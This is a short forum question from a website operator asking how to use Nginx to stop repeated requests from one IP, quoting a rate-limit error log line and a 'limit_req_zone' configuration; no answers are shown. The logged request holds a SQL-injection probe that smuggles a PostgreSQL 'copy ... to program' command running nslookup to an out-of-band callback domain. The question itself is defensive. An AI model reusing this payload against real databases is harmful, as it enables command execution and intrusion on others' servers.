Nginx block attacks

0

My server is receiving many requests from the same IP. How do I prevent attacks like this?

2018/10/02 20:21:31 [error] 22096#0: *7575 limiting requests, excess: 10.105 by zone "perip", client: 177.132.238.217, server: www.meusite.com.br, request: "GET /cat/43/Tawk.to?c=1&d=1&e=1&m=1;copy%20(select%20'')%20to%20program%20'nslookup%20dns.sqli.%5c033232.254-7740.254.f7c3d.%5c1.bxss.me'&max=9&min=0&o=nome&v=1 HTTP/1.1", host: "www.meusite.com.br", referrer: "https://www.meusite.com.br/"

I would like to know if the only way I have to protect myself is by putting in the server block {}

  limit_req_zone $binary_remote_addr zone=perip:10m rate=5r/s;
  limit_req_zone $server_name zone=perserver:10m rate=10r/s;

Is there anything else you could do?

    
asked by anonymous 03.10.2018 / 01:35

0 answers